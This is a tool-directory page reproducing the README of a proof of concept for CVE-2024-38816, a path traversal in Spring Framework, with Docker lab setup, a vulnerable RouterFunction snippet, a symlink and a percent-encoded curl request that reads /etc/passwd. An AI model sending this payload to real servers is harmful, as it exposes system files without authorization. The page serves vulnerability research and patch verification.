Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/wulinpin/cve-2024-38816-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubwulinpin/cve-2024-38816-poc

CVE-2024-38816-PoC

CVE-2024-38816 Proof of Concept

View Repository
97142 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    772
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    505
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    251

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-38816 Proof of Concept (PoC)

This is a proof of concept for the CVE-2024-38816 vulnerability, demonstrating a path traversal exploit.

Execution Steps

  1. Build the Docker image: (Spring Boot 3.0.13, based on Spring Framework 6.0.3)

    docker build -t cve-2024-38816-poc .
    
  2. Run the container and expose port 8080 to the host machine:

    docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
    
  3. Run the following command to execute the PoC and confirm the vulnerability:

    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    If the contents of the /etc/passwd file are displayed, the vulnerability is confirmed.

Notes

This PoC was created based on an analysis of the release notes and commit logs. The behavior of the actual vulnerability may differ, so accuracy is not guaranteed. Use at your own risk.

Considerations

  1. The vulnerability was patched in Spring Framework 6.1.13, as confirmed by the release notes.

  2. Upon reviewing the release notes and related commit logs, I have identified the following two issues as potentially linked to this vulnerability:

    • Issue #33424: A new option related to symbolic links was added.
      • Related commit: 5d80d75051f395c17f6b9367e267d458585b336d
    • Issue #33434: The code for sanitizing %-encoded characters was modified.
      • Related commit: d86bf8b2056429edf5494456cffcb2b243331c49
  3. According to the security advisory, the following conditions likely need to be met for the attack to succeed:

    • RouterFunctions is used
    • FileSystemResource is used
    • Symbolic links are present
    • %-encoded characters are involved in the attack

Environment Setup

A Docker environment is used to reproduce the vulnerability.

  1. Create PathTraversalDemoApplication.java with the following code to set up static file routing using RouterFunction and FileSystemResource:

    public RouterFunction<ServerResponse> staticResourceRouter() {
        return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }
    
  2. Add the following command to the Dockerfile to create a symbolic link:

    RUN ln -s /static /app/static/link
    
  3. Create a payload that leverages %-encoding to traverse directories through the symbolic link.

    • Path: /static/link/%2e%2e/etc/passwd
  4. Use the following curl command to execute the PoC and verify if the attack is successful:

    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    If the attack is successful, the contents of the /etc/passwd file will be displayed.

Disclaimer

This PoC is provided for educational and security research purposes. Before using this in a real system, ensure the vulnerability has been fixed and you have proper authorization. The author takes no responsibility for any misuse of this code.

Download Tool